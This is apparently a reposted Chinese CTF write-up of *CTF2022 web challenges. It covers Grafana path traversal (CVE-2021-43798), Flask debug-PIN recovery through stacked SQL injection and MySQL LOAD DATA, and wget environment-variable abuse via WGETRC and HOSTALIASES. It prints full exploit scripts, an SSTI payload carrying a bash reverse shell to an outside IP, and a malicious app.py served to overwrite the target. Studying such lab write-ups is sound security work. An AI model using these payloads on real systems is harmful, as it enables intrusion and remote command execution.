[*CTF2022]web题目复现及wp

[*CTF2022]web题目复现及wp,第1张

文章目录
  • WEB
    • oh-my-grafana
    • oh-my-notepro
      • 坑点
    • oh-my-lotto
      • 非预期
        • PATH变量
        • WGETRC变量
    • oh-my-lotto-revenge
      • 非预期
        • WGETRC变量
        • 其他解法
      • 预期解
  • 个人赛WP
    • oh-my-grafana
    • babyweb
    • grey

WEB oh-my-grafana

搜一下相关漏洞,CVE-2021-43798

尝试读取文件

/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db
/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini
# disable creation of admin user on first start of grafana
;disable_initial_admin_creation = false

# default admin user, created on startup
admin_user = admin

# default admin password, can be changed before first start of grafana,  or in profile settings
admin_password = 5f989714e132c9b04d4807dafeb10ade

# used for signing
;secret_key = SW2YcwTIb9zpOOhoPsMm

文件里面有默认账号密码

admin@localhost
5f989714e132c9b04d4807dafeb10ade

登陆后利用mysql直接查询

oh-my-notepro

考点:

flask pin计算

mysql load data特性

首先admin/admin登录

随便测试一下发现开启了debug模式,扫一下目录有/console路由

需要我们输入pin码即可进入交互式命令执行界面,接下来计算pin,我们需要得到信息:

- 服务器运行flask所登录的用户名。 通过读取/etc/passwd获得
- modname 一般不变就是flask.app
- getattr(app, “name”, app.class.name)。python该值一般为Flask,值一般不变
- flask库下app.py的绝对路径。通过报错信息就会泄露该值。
- 当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获得 //eth0处为当前使用的网卡
- 机器的id。对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。对于docker机则读取/proc/self/cgroup

那么通过报错信息我们可以得到路径:

/usr/local/lib/python3.8/site-packages/flask/app.py

之后通过测试发现存在sql注入

python2 sqlmap.py -r 1.txt --sql-shell

收集信息:

利用Mysql load data特性来读取文件

load data local infile '/etc/passwd' into table test fields terminated by '\n';

先创建一张表再将文件读入表内,这里利用堆叠注入来查询

import requests,random
session = requests.Session()
table_name  = "".join(random.sample('zyxwvutsrqponmlkjihgfedcba',5))
file = '/sys/class/net/eth0/address'
file = '/etc/machine-id'
file='/proc/self/cgroup'
payload1 = f'''1';create table {table_name}(name varchar(30000));load data  local infile "{file}" into table ctf.{table_name} FIELDS TERMINATED BY '\n';#'''
payload2 = f'''1' union select 1,2,3,4,(select GROUP_CONCAT(NAME) from ctf.{table_name})#'''
paramsGet1 = {"note_id":payload1}
paramsGet2 = {"note_id":payload2}
headers = {"Cache-Control":"max-age=0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Connection":"close","Accept-Encoding":"gzip, deflate","Accept-Language":"zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6"}
cookies = {"session":"eyJjc3JmX3Rva2VuIjoiNjU5MmViODdhMjgwOGE4OTY0ZTRjMmU1Y2RlMWIxNGNiODM4MmNiNSIsInVzZXJuYW1lIjoiYWFhIn0.YlpeQg.VAhhSpogG4OT1bAytxIdRvyCxYk"}

response1 = session.get("http://121.37.153.47:5002/view", params=paramsGet1, headers=headers, cookies=cookies)
response2 = session.get("http://121.37.153.47:5002/view", params=paramsGet2, headers=headers, cookies=cookies)
print(response2.text)

得到信息:

用户: ctf
mac地址:02:42:c0:a8:60:03->2485723357187
机器码:1cc402dd0e11d5ae18db04a6de87223d70d75f5ccd3aa4d8c9583280141a99e0d8a2ec8d1a497231f5a614f27fbbdb15

生成pin码:

#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'ctf'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    '2485723357187',#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就1,3):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    '1cc402dd0e11d5ae18db04a6de87223d70d75f5ccd3aa4d8c9583280141a99e0d8a2ec8d1a497231f5a614f27fbbdb15'#  /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

之后报错页面利用console执行命令即可

import os
os.system("/readflag")

坑点
  • 报错内容有

    result = db.session.execute(sql,params={"multi":True})
    

    可知此处表明存在堆叠注入的可能,猜测是MySQL的堆叠注入读取文件

  • Werkzeug的更新给pin码的计算方式带来了变化https://github.com/pallets/werkzeug/commit/617309a7c317ae1ade428de48f5bc4a906c2950f,直接使用网上大多数的pin码计算方式并不能计算出当前环境下正确的pin码,主要有两个变化,一个是修改以前是读取/proc/self/cgroup、/etc/machine-id、/proc/sys/kernel/random/boot_id这三个文件,读取到一个文件的内容,直接返回,新版本是从/etc/machine-id、/proc/sys/kernel/random/boot_id中读到一个值后立即break,然后和/proc/self/cgroup中的id值拼接,使用拼接的值来计算pin码;二一个变化是h的计算从md5变为了使用sha1,所以计算pin码的POC也要进行相应的调整,此外输入正确的pin码以后大概率会出现404等错误,可以通过清理网站缓存然后开启一个新的无痕会话来解决这个问题。

oh-my-lotto

爆破一下md5:

# -*- coding: utf-8 -*-

import multiprocessing
import hashlib
import random
import string
import sys

CHARS = string.letters + string.digits


def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    global CHARS

    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)

        if md5.hexdigest()[start: start + str_len] == substr:
            print(rnds)
            stop_event.set()


if __name__ == '__main__':
    substr = sys.argv[1].strip()

    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0

    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                                               stop_event, str_len, start_pos))
                 for i in range(cpus)]

    for p in processes:
        p.start()

    for p in processes:
        p.join()

先审计代码:

docker-compose.yml

version: "3" 
services:

  lotto:
    build:
      context: lotto/
      dockerfile: Dockerfile
    container_name: "lotto"

  app:  
    build:
      context: app/
      dockerfile: Dockerfile
    links:
      - lotto
    container_name: "app"
      
    ports:
      - "8880:8080"

从这里可以知道题目结构,接下来看看路由

  • /result路由返回返回/app/lotto_result.txt文件内容
  • /forecast路由可以上传一个文件保存到/app/guess/forecast.txt
  • /lotto路由检查预测的值与环境随机生成的相等就能获得flag
from flask import Flask,render_template, request
import os

app = Flask(__name__, static_url_path='')

def safe_check(s):
    if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s: 
        return False
    return True

@app.route("/", methods=['GET', 'POST'])
def index():
    return render_template('index.html')

@app.route("/lotto", methods=['GET', 'POST'])
def lotto():
    message = ''

    if request.method == 'GET':
        return render_template('lotto.html')

    elif request.method == 'POST':
        flag = os.getenv('flag')
        lotto_key = request.form.get('lotto_key') or ''
        lotto_value = request.form.get('lotto_value') or ''
        try:
            lotto_key = lotto_key.upper()
        except Exception as e:
            print(e)
            message = 'Lotto Error!'
            return render_template('lotto.html', message=message)
        
        if safe_check(lotto_key):
            os.environ[lotto_key] = lotto_value
            try:
                os.system('wget --content-disposition -N lotto')

                if os.path.exists("/app/lotto_result.txt"):
                    lotto_result = open("/app/lotto_result.txt", 'rb').read()
                else:
                    lotto_result = 'result'
                if os.path.exists("/app/guess/forecast.txt"):
                    forecast = open("/app/guess/forecast.txt", 'rb').read()
                else:
                    forecast = 'forecast'

                if forecast == lotto_result:
                    return flag
                else:
                    message = 'Sorry forecast failed, maybe lucky next time!'
                    return render_template('lotto.html', message=message)
            except Exception as e:
                message = 'Lotto Error!'
                return render_template('lotto.html', message=message)
                
        else:
            message = 'NO NO NO, JUST LOTTO!'
            return render_template('lotto.html', message=message)
            
@app.route("/forecast", methods=['GET', 'POST'])
def forecast():

    message = ''
    if request.method == 'GET':
        return render_template('forecast.html')
    elif request.method == 'POST':
        if 'file' not in request.files:
            message = 'Where is your forecast?'
            
        file = request.files['file']
        file.save('/app/guess/forecast.txt')
        message = "OK, I get your forecast. Let's Lotto!"
        return render_template('forecast.html', message=message)

@app.route("/result", methods=['GET'])
def result():

    if os.path.exists("/app/lotto_result.txt"):
        lotto_result = open("/app/lotto_result.txt", 'rb').read().decode()
    else:
        lotto_result = ''
    
    return render_template('result.html', message=lotto_result)
        

if __name__ == "__main__":
    app.run(debug=True,host='0.0.0.0', port=8080)

其中lotto_result.txt是在内网的lotto页面生成

from flask import Flask, make_response
import secrets

app = Flask(__name__)

@app.route("/")
def index():
    lotto = []
    for i in range(1, 20):
        n = str(secrets.randbelow(40))
        lotto.append(n)
    
    r = '\n'.join(lotto)
    response = make_response(r)
    response.headers['Content-Type'] = 'text/plain'
    response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
    return response

if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=80)

在进行lotto猜测的时候可以运行输入一次环境变量,该环境变量会被传递给os.system('wget --content-disposition -N lotto'),同时环境变量会经过safe_check函数检查。

def safe_check(s):
    if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s: 
        return False
    return True

一些常见的环境变量利用方法都已经被禁止。

非预期 PATH变量

首先获得一次lotto的结果,然后将这个结果作为forecast上传,利用PATH,将新的lotto_result.txt保存到其他路径,这样获取到的lotto就能与forecast相等,即可获得flag。

PATH变量用于保存可以搜索的目录路径,如果待运行的程序不在当前目录, *** 作系统便可以去依次搜索PATH变量变量中记录的目录,如果在这些目录中找到待运行的程序, *** 作系统便可以直接运行,前提是有执行权限。

也就是说,如果我们控制环境变量PATH,让他找不到wget,这样wget --content-disposition -N lotto就会报错导致程序终止,/app/lotto_result.txt当中的内容就一直是第一次访问,随机生成的那个值。

import requests

url = "http://121.36.217.177:53002/"


def lotto(key, value):
    data = {"lotto_key": key,
            "lotto_value": value}
    txt = requests.post(url + "lotto", data=data).text
    print(txt)


def getResult():
    txt = requests.get(url + "result").text
    p = txt.split("

")[-1].split("

"
)[0] return p lotto("", "") result = {"file": getResult()} requests.post(url + "forecast", files=result) lotto("PATH", "xxxx") # *ctf{its_forecast_0R_GUNICORN}

WGETRC变量

利用WGETRC设置http_proxy代理到自己服务器,下载一个和forecast一样的文件,可以获得flag。

阅读文档:

https://www.gnu.org/software/wget/manual/wget.html#Wgetrc-Location

其中有两个重要的参数

output_document = file
    Set the output filename—the same as ‘-O file’.
http_proxy = string
    Use string as HTTP proxy, instead of the one specified in environment.

通过题目代码我们知道进行lotto猜测的时候可以运行输入一次环境变量,该环境变量会被传递给os.system('wget --content-disposition -N lotto'),也就是说我们可以通过http_proxy参数来设置代理,将我们的服务器作为一个中间人再下载一个和forecast一样的文件即可获得flag。

我们先做个实验:

可以发现代理服务器成功收到请求。

接下来我们的思路就清晰了:

先设置待上传的文件,内容为:

http_proxy = http://ip:39542

之后在服务器运行脚本,返回上传内容

from flask import Flask, make_response

app = Flask(__name__)


@app.route("/")
def index():
    lotto = "http_proxy = http://ip:39542"
    response = make_response(lotto)
    response.headers['Content-Type'] = 'text/plain'
    response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
    return response


if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=39542)

接下来上传文件,进入/lotto界面,设置环境变量

WGETRC
/app/guess/forecast.txt

运行即可得到flag,写个脚本:

import requests

def shell():
    url = "http://xxx/"

    r = requests.post(url + "forecast",
                      files={'file': open("C:\Users\cosmo\Desktop\res.txt", "rb")})

    data = {
        "lotto_key": "WGETRC",
        "lotto_value": "/app/guess/forecast.txt"
    }

    r = requests.post(url + "lotto", data=data)
    print(r.text)



if __name__ == '__main__':
    shell()

oh-my-lotto-revenge

相比上一题,该题预测成功后也没有flag返回

if forecast == lotto_result:
                    return "You are right!But where is flag?"
                else:
                    message = 'Sorry forecast failed, maybe lucky next time!'
                    return render_template('lotto.html', message=message)

那么我们应该考虑如何进行RCE,同样先说一下非预期:

非预期 WGETRC变量

利用WGETRC配合http_proxyoutput_document,写入SSTI到templates目录,利用SSTI完成RCE。

我们知道WGETRC可以设置这两个参数

output_document = file
    Set the output filename—the same as ‘-O file’.
http_proxy = string
    Use string as HTTP proxy, instead of the one specified in environment.

output_document指定文件保存路径,那么我们可以通过覆盖index.html打SSTI即可。

控制上传文件:

http_proxy=http://ip:39542
output_document = templates/index.html

再控制返回内容,同样在服务器运行脚本返回如下payload即可:

{{config.__class__.__init__.__globals__['os'].popen('bash -i >& /dev/tcp/1.117.171.248/39543 0>&1').read()}}

最后脚本:

import requests

def web():
    url = "http://1.117.171.248:8880/"

    r = requests.post(url + "forecast",
                      files={'file': open("C:\Users\cosmo\Desktop\res.txt", "rb")})

    data = {
        "lotto_key": "WGETRC",
        "lotto_value": "/app/guess/forecast.txt"
    }

    r = requests.post(url + "lotto", data=data)
    print(r.text)
    r = requests.get(url)



if __name__ == '__main__':
    web()
其他解法
  • 利用WGETRC配合http_proxyoutput_document,覆盖本地的wget应用,然后利用wget完成RCE。

  • wget命令可以通过use_askpass参数执行可执行文件。但是use_askpass需要对应文件有可执行权限,直接通过设置output_document指定文件保存路径来覆盖bin目录下的文件,这样让代理服务器返回一个恶意文件,在保存到本地是也会继承bin目录下的可执行权限,最后通过指定use_askpass为覆盖的文件就可以rce。

  • 上传gconv-modules并利用GCONV_PATH

预期解

最后来康康出题人的预期解

通过翻阅Linux环境变量文档http://www.scratchbox.org/documentation/general/tutorials/glibcenv.html在Network Settings中发现有HOSTALIASES可以设置shell的hosts加载文件

HOSTALIASES Filename for the host aliases file

利用/forecast路由可以上传待加载的hosts文件,将wget --content-disposition -N lotto发向lotto的请求转发到自己的域名例如如下hosts文件:

# hosts
lotto mydomain.com

同时注意到wget请求添加了--content-disposition -N参数,说明请求的保存文件名将由服务方提供方指定的文件名决定,并可以覆盖原有的文件,那我们在自己的mydomain.com域名的80端口提供一个文件下载的功能,将返回文件名设置为app.py就可以覆盖当前题目的app.py文件:

from flask import Flask, request, make_response
import mimetypes

app = Flask(__name__)

@app.route("/")
def index():

    r = '''
from flask import Flask,request
import os


app = Flask(__name__)
@app.route("/test", methods=['GET'])
def test():
    a = request.args.get('a')
    a = os.popen(a)
    a = a.read()
    return str(a)

if __name__ == "__main__":
    app.run(debug=True,host='0.0.0.0', port=8080)
'''

    response = make_response(r)
    response.headers['Content-Type'] = 'text/plain'
    response.headers['Content-Disposition'] = 'attachment; filename=app.py'
    return response



if __name__ == "__main__":
    app.run(debug=True,host='0.0.0.0', port=39542)

此时发现已经覆盖了题目的app.py,但并不能直接RCE,因为题目使用gunicorn部署,app.py在改变的情况下并不会实时加载。但gunicorn使用一种pre-forked worker的机制,当某一个worker超时以后,就会让gunicorn重启该worker,让worker超时的POC如下:

timeout 50 nc ip 53000 &
timeout 50 nc ip 53000 &
timeout 50 nc ip 53000

最终worker重新加载app.py,就可以完成RCE了,读取flag即可。参考完整POC如下

# exp.py

import requests
import os
import time
import subprocess

s = requests.session()

base_url = 'http://124.223.208.221:53000/'
url_upload = base_url + 'forecast'
proxies = {
    'http': 'http://127.0.0.1:8080'
}

r = s.post(url=url_upload, proxies=proxies, files={"file":("hosts", open('hosts', 'rb'))})
print(r.text)

url_env = base_url + 'lotto'
data = {
    'lotto_key': 'HOSTALIASES',
    'lotto_value': '/app/guess/forecast.txt'
}
r = s.post(url=url_env, data=data)

subprocess.Popen('./exploit.sh', shell=True)
# os.system('./exploit.sh')
for i in range(1, 53):
    print(i)
    time.sleep(1)

while True:
    url_shell = base_url + 'test?a=env'
    print(url_shell)
    r = s.get(url_shell)
    print(r.text)
    if '*ctf' in r.text:
        print(r.text)
        break

当然这种方法和WGETRC变量的利用差异不大,综合来说方法很多,学到不少。

参考:

https://github.com/sixstars/starctf2022

https://y4tacker.github.io/2022/04/18/year/2022/4/2022-CTF-Web/#oh-my-notepro

https://blog.csdn.net/rfrder/article/details/110240245

https://paper.seebug.org/1112/

个人赛WP

oh-my-grafana

同上

babyweb

绕127.0.0.1,本地回环

http://[::]:8089/flag
grey

直接拖进stegsolve,调一下出现一半的flag

可能是图片不全,尝试一下爆破宽度高度

之后修改为正确的宽高即可

不对劲,可能少了一节,在最后

*CTF{Catch_m3_1F_y0u_cAn}

参考:

https://github.com/b3f0re-team/Write-up/blob/main/%E6%98%9FCTF/%E6%98%9FCTF%20of%20b3f0re%20%20%20.md

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/716921.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-25
下一篇 2022-04-25

发表评论

登录后才能评论

评论列表(0条)

保存